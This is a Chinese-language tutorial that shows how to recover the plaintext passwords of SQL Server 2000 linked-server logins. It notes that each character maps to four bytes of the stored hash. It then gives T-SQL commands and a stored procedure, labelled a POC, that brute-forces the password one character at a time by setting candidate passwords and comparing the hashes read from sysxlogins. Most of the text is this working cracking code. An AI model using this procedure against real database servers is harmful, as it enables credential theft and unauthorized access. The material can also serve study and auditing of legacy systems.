如何将SQLServer 2000链接服务器的密码破解为明文
MSSQL有一个LINKSERVER的功能——链接服务器,每字符加密为4位,不用管加密算法,可以撞出来。
查看我的版本号 然后就执行下面的代码首先查看我的连接 代码语句:Exec?sp_helpserver? 现在看到数据库里面有6个连接现在我要新建立一个linkserver连接名字为dhlinkserver
第一步,先建立一个linkserver sp_addlinkedserver?'dhlinkserver','','SQLOLEDB','127.0.0.1','master'
可以看到执行成功
再次查看连接,可以看到有7条连接,现在去创建一个表存放HASH值的表
创建linkserver连接过后给连接新添加账号密码 代码区: EXEC?sp_addlinkedsrvlogin 'dhlinkserver',?--被访问的服务器别名(如果上面sp_addlinkedserver中使用别名JOY,则这里也是JOY) 'false',NULL,'test123',?--帐号 'test123'?--密码 执行成功后:账号为:test123?密码:test123
查询现在数据库里存储的密码: 语句执行 select?name,master.dbo.fn_VarBinToHexStr(password)pass?from?master.dbo.sysxlogins
我在建立一个名字为:www的linkserver连接
可以看到没有www的linkserver连接 还是一种方法创建?linkserver,下面我使用第二种方法创建,第一种方法连接可以在本文下面第一步细节里面有提到我就不解释了. 第二种创建连接是直接创立连接 exec?sp_addlinkedserver??@server=?'server' Server?创建的名字
现在我们查询查询连接是否创建成功 查询语句:Exec?sp_helpserver 可以看到:www连接按照我上述讲的,在给www这个连接建立一个用户名为:test12?密码为:test12?我们看看出现的hash是否一样
OK创建成功.查询下密码
可以看到,每字符加密为4位上次添加linkserver连接用户名:test123?密码:test123 这次对比下,少了一位密码字符,他就少了4位加密的算法 用户名:test123?pass:0xc7fb432df59950d1b05c1edb5a6f 用户名:test12?pass:0xc7fb432df59950d1b05c1edb
第二步:创建一个表用于存放计算出来的HASH 执行语句: create?table?mssql?(list?int?not?null?identity?(1,1),?pass?nvarchar(500),code?varbinary(256))
sp_dropserver?'dhlinkserver',?'droplogins' drop?table?mssql DROP?PROCEDURE?pwd
创建表成功,后创建存储破解使用过程 第三步?创建破解用的存储过程 POC: create???procedure???pwd @pwd?sysname?=?NULL AS ????declare?@ss?varchar(256),@str?varchar?(256),@getpass?varbinary(256) ? ????truncate?table?mssql ????create?table?#t?(inetpub?nvarchar(500)) ????select?@ss=@pwd+'abcdefghijklmnopqrstuvwxyz`0123456789-=[];,./~!@#$%^&*()_+{}|:<>?' ????declare?@index?int ????select?@index=1 ????while?(@index?<=len(@ss)) ????begin ????????insert?#t(inetpub)?select?SUBSTRING?(@ss,@index,1) ????????select?@index?=?@index?+1 ????????select?@str=@pwd+inetpub?from?#t ????????exec?master.dbo.sp_addlinkedsrvlogin?'dhlinkserver','false',Null,'xxxx',@str ????????select?@getpass?=?password?from?master.dbo.sysxlogins?where?name?='xxxx' ????????insert?into?mssql(pass,code)?values?(@str,@getpass) ????end select?list,pass,master.dbo.fn_VarBinToHexStr(code)code?from?mssql drop?table?#t
第四步,查询现在数据库里存储的密码 elect?name,master.dbo.fn_VarBinToHexStr(password)pass?from?master.dbo.sysxlogins 相关资料科普 第一步细节: 创建一个链接的服务器,使其允许对分布式的、针对?OLE?DB?数据源的异类查询进行访问。在使用?sp_addlinkedserver?创建链接的服务器之后,此服务器就可以执行分布式查询。如果链接服务器定义为?Microsoft??SQL?Server?,则可执行远程存储过程。?'dhlinkserver'?则是创建的声名这个连接名 'SQLOLEDB'?使用SQLOLEDB远程访问 127.0.0.1?要访问连接的IP 'master' |